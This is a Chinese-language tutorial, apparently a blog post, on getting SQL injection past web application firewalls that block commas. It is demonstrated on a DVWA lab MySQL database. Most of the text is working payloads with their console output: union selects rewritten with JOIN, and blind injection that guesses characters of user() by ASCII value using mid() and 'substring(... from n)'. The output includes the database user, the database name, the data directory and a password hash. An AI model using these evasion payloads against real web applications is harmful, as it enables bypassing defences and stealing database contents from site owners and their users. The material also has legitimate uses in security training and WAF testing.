SQL注入逗號繞過
1.聯合查詢顯注繞過逗號
在聯合查詢時使用 UNION SELECT 1,2,3,4,5,6,7..n 這樣的格式爆顯示位，語句中包含了多個逗號，如果有WAF攔截了逗號時，我們的聯合查詢不能用了。
繞過
在顯示位上替換為常見的注入變量或其它語句
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C）;
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在數據庫中演示聯合查詢
UNION開始是我們在URL中注入的語句，這里只是演示，在實際中如果我們在注入語句中有逗號就可能被攔截
mysql> select user_id,user,password from users union select 1,2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.04 sec)
不出現逗號，使用Join來注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)
查詢我們想要的數據
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;
+---------+-------+-------------------------------------------------+
| user_id | user | password |
+---------+-------+-------------------------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |
+---------+-------+-------------------------------------------------+
2 rows in set (0.08 sec)
2.盲注中逗號繞過
MID 和substr 函數用於從文本字段中提取字符
mysql> select mid(user(),1,2);
+-----------------+
| mid(user(),1,2) |
+-----------------+
| ro |
+-----------------+
1 row in set (0.04 sec)
查詢數據庫用戶名第一個字符的ascii碼
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 114 | 2 | 3 |
+---------+-------+----------------------------------+
2 rows in set (0.05 sec)
盲注，通過猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;
Empty set
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.04 sec)
逗號繞過SUBTTRING 函數
substring(str FROM pos)
從字符串str的起始位置pos 返回一個子串
mysql> select substring('hello' from 1);
+---------------------------+
| substring('hello' from 1) |
+---------------------------+
| hello |
+---------------------------+
1 row in set (0.04 sec)
mysql> select substring('hello' from 2);
+---------------------------+
| substring('hello' from 2) |
+---------------------------+
| ello |
+---------------------------+
1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;
Empty set
//substring(user() from 2)為o
//o的ascii為111，
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+---------+-------+----------------------------------+
1 row in set (0.03 sec)